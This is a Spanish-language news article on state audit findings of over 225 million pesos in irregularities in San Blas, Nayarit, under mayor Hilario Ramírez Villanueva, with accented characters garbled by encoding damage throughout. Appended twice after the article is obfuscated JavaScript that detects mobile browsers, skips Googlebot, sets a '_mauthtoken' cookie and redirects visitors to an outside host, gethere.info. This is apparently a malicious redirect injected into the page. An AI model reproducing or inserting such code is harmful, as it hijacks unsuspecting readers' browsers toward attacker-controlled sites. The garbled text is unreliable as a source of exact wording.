CIUDAD DE MA�XICO.-A�La AuditorA�a Superior del Estado de Nayarit (ASEN) ha detectado hasta ahora operaciones irregulares por mA?s de 225.53 millones de pesos en las dos gestiones de Hilario RamA�rez Villanueva, alias LayA�n, que abarcan de 2008 a 2011 y de 2014 a 2017, en la alcaldA�a del municipio porteA�o de San Blas.

No obstante, el alcalde sanblaseA�o es actualmente precandidato independiente al gobierno de Nayarit, y algunas encuestas de la prensa local le atribuyen casi 10% de las preferencias electorales que siguen creciendo.

Las auditorA�as a cuatro de los seis ejercicios de RamA�rez Villanueva (2009, 2010, 2011, 2015), que fueron consultadas por EL UNIVERSAL, detectaron errores y omisiones por mA?s de 159.57 millones de pesos, ademA?s de operaciones financieras que constituyen un a�?daA�o a la hacienda pA?blicaa�? por mA?s de 65.96 millones de pesos.

La ASEN descubriA? retenciones efectuadas al salario de trabajadores del ayuntamiento por concepto de crA�ditos del Fondo Nacional de Fomento y GarantA�a para el Consumo de los Trabajadores (Fonacot) y del Impuesto sobre la Renta (ISR) reportable al Servicio de AdministraciA?n Tributaria (SAT), por casi 23 millones de pesos, los cuales no fueron transferidos a dichas instituciones ni hallados en otros haberes del patrimonio municipal.

Su administraciA?n pagA? subvenciones a personal ajeno al ayuntamiento, distribuyA? a�?subsidios socialesa�? por mA?s de 20 millones de pesos en sA?lo un aA�o, efectuA? gastos no institucionales como a�?investigaciA?n cientA�fica y desarrolloa�?, gasolina, peajes, hospedajes, y metiA? a contabilidad un comprobante de mA?s de 100 mil pesos por un consumo de alimentos.

IncluyA? facturas falsificadas, transfiriA? recursos a dependencias municipales con cheques a nombre de funcionarios por mA?s de 11 millones de pesos, suprimiA? dA�bitos a deudores del ayuntamiento por mA?s de 8 millones, pagA? obra pA?blica inexistente y no consiguiA? comprobar gastos por otros 8 millones, entre otras anomalA�as.

El tipo de respuestas del ayuntamiento a las observaciones del auditor se ilustra con la siguiente que dio sobre la omisiA?n de registros contables de la deuda pA?blica municipal de 2009. La alcaldA�a argumentA? que la administraciA?n previa no le entregA? los archivos respectivos: a�?Reconociendo en mi actual administraciA?n [a��] la falta de documentaciA?n e informaciA?n en distintas A?reas, a lo que me asalta la duda el porque (sic) en las auditorA�as anteriores que se realizaron a otras administraciones no se percato (sic) de tales manejosa�?.

Las cuatro auditorA�as revisadas reA?nen 385 observaciones, de las cuales el ayuntamiento solventA? sA?lo 22.

 

Retenciones a�?congeladasa�?

Hilario RamA�rez ejerciA? un gasto total de 367 millones 861 mil 24 pesos con 26 centavos en los aA�os correspondientes a las auditorA�as revisadas. La acciA?n financiera sistemA?tica en esos ejercicios es la retenciA?n econA?mica al salario de los trabajadores del ayuntamiento por crA�ditos de Fonacot, cuyo monto no es transferido a esa instituciA?n.

Al cierre de 2015 sumaba 9 millones 617 mil 643 pesos con 12 centavos. En la revisiA?n de 2011, la ASEN especificA?: a�?No hay evidencia de que dichos recursos estA�n disponibles en alguna de las cuentas de bancos del ayuntamientoa�?.

Las retenciones del ISR a la nA?mina en 2011 y 2015 tambiA�n fueron a�?congeladasa�? por el ayuntamiento: 13 millones 164 mil pesos que no recibiA? el SAT. En 2009 y 2010 el ayuntamiento no entregA? la documentaciA?n de ese rubro.

La alcaldA�a de San Blas tambiA�n aplica un impuesto especial de 12% sobre sus recaudaciones, destinado a la Universidad AutA?noma de Nayarit (UAN). En 2009, 2010 y 2015, la contabilidad municipal registrA? las retenciones respectivas por un millA?n 15 mil pesos, captaciA?n que no fue transferida al patronato administrador ni a la tesorerA�a estatal.

En 2015, el ayuntamiento de San Blas gastA? 90 millones 908 mil pesos. La ASEN auditA? 40%. EncontrA? depA?sitos registrados en las cuentas municipales que no llegaron a las cuentas bancarias, recaudaciA?n no depositada, saldos de origen desconocido en cuentas contables, 3 millones 298 mil de retenciones obligatorias a contratistas sobre obras financiadas por programas estatales y federales que el ayuntamiento no reintegrA? al erario, y un adeudo de remuneraciones por 38 millones 852 mil pesos.

Sin aprobaciA?n presupuestal, la administraciA?n de RamA�rez Villanueva financiA? productos agrA�colas para alimentaciA?n de personas (278 mil pesos), auxilio a personas y hogares (717 mil pesos), proyectos para prestaciA?n de servicios (726 mil pesos), otros proyectos productivos (162 mil pesos), otras (200 mil pesos) y otros subsidios (7 millones 263 mil pesos).

El gobierno municipal no acreditA? que tales a�?ayudas socialesa�? hayan sido entregadas a poblaciA?n de escasos recursos. La ASEN subraya que en el papeleo respectivo a�?se advierten rasgos distintos entre las firmas de las credenciales de elector o recibos de tesorerA�a y solicitudes de apoyoa�?, y que buena parte de ese dinero se otorgA? a personas de otros municipios.

Para mA?s subsidios, la administraciA?n municipal a�?transfiriA?a�? recursos al Sistema DIF de San Blas y al organismo operador del agua potable (Oromapas), sin comprobante fiscal y a travA�s de cheques expedidos a nombre de los titulares de dichas dependencias y otros particulares, por 11 millones 795 mil pesos.

 

Un refrigerio de 102 mil pesos

TambiA�n sin aprobaciA?n, destinA? recursos a a�?servicios de investigaciA?n cientA�fica y desarrolloa�?, compra de productos agrA�colas, forestales, textiles, quA�micos como materia prima, pescados y mariscos, pagA? gasolina y consumos en restaurantes sin comprobar la veracidad de las operaciones, no acreditA? el propA?sito institucional de gastos alimenticios por 247 mil 709 pesos, y el 7 de febrero de 2015 ingresA? a la contabilidad un comprobante de un consumo de alimentos por 102 mil 704 pesos, considerado por la ASEN como a�?gasto no institucionala�?.

La ASEN dictaminA? a�?erroresa�? y a�?omisionesa�? a��entre los que se halla el congelamiento de retenciones de impuestosa�� por 122 millones 690 mil pesos, a�?un monto observado como presunto daA�o a la hacienda pA?blicaa�? por 15 millones 437 mil pesos, y un a�?daA�o o perjuicioa�? semejante en la ejecuciA?n de obra pA?blica por un millA?n 508 mil pesos, principalmente debido al pago de obra no ejecutada y condonaciA?n de facto de fianzas de los contratistas.

Ese aA�o el cabildo se tomA? una especie de aA�o sabA?tico: en 10 de los 12 meses no se reuniA?, aunque la ConstituciA?n estatal exige por lo menos dos reuniones mensuales.

 

FalsificaciA?n, extravA�os, discrecionalidad

En 2010, el gobierno municipal erogA? 85 millones 956 mil pesos y la ASEN auditA? 25%. Los auditores verificaron en el sitio web del SAT facturas correspondientes a documentaciA?n comprobatoria de pA?lizas solicitadas al ayuntamiento de San Blas, por 27 mil 538 pesos y detectaron comprobantes a�?presumiblemente falsosa�?.

El impacto de gastos improcedentes, diferencias entre registros administrativos contables y presupuestales, errores y omisiones fue de 19 millones 535 mil pesos. El presumible daA�o a la hacienda pA?blica alcanzA? los 7 millones 165 mil pesos, y obra pA?blica, 164 mil pesos.

En 2011, el gasto fue de 95 millones 337 mil pesos, de los cuales la ASEN auditA? 43.70%, donde detectA? errores y omisiones por 19 millones 535 mil pesos. Un ejercicio que estuvo marcado por ampliaciones y reducciones al presupuesto sin aprobaciA?n del cabildo, y prA�stamos indebidos que no se liquidaron al concluir la administraciA?n.

En 2009, el gobierno municipal de San Blas gastA? 95 millones 657 mil pesos, de los cuales la ASEN auditA? 25%. EncontrA? un boquete de 8 millones 471 mil pesos, sobre los cuales no habA�a pA?lizas de diario ni de egresos.

La ASEN tambiA�n declarA? improcedente la supresiA?n efectuada por el ayuntamiento de un saldo de 7 millones 934 mil pesos en una cuenta de la contabilidad municipal denominada a�?cancelaciA?n de cuentas incobrablesa�?. De igual forma, hallA? a�?pagos a personal que no tiene relaciA?na�? con el ayuntamiento.

El A?rgano fiscalizador dictaminA? a�?errores y omisionesa�? en la gestiA?n financiera por 15 millones 975 mil pesos; un presunto daA�o a la hacienda pA?blica por 10 millones 507 mil pesos, y un desfalco de 7 millones 220 mil pesos originado por la falta de comprobaciA?n del gasto y pago de trabajos no ejecutados.

 

Impotencia de la Legislatura

La ASEN iniciA? 11 procedimientos de responsabilidad administrativa contra Hilario RamA�rez Villanueva, y mA?s de 30 contra funcionarios de sus administraciones y miembros de cabildo, derivados de las auditorA�as seA�aladas. Sin embargo, hasta ahora sA?lo ha logrado que la ex tesorera, Argelia RamA�rez Cruz, fuera inhabilitada por 11 aA�os para ejercer responsabilidades pA?blicas.

El A?rgano fiscalizador consigna que a�?en tA�rminos generalesa�?, el ayuntamiento cumpliA? con la normatividad a�?excepto por los resultados con observaciA?na�? en las cuatro auditorA�as revisadas, y determina que sA?lo en 2009 y 2010 incumpliA? con los postulados bA?sicos de contabilidad gubernamental.

Al buscar la posiciA?n de la ComisiA?n de Hacienda, Cuenta PA?blica y Presupuesto de la Legislatura nayarita, que preside el priA�sta Jorge Humberto Segura LA?pez, se remitiA? al reportero a la ASEN por disposiciA?n a�?de los asesoresa�? de esa instancia. Tampoco hubo respuesta en la oficina del auditor.

TodavA�a faltan por publicarse los resultados de la fiscalizaciA?n del aA�o 2016 y, por supuesto, los del actual ejercicio.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}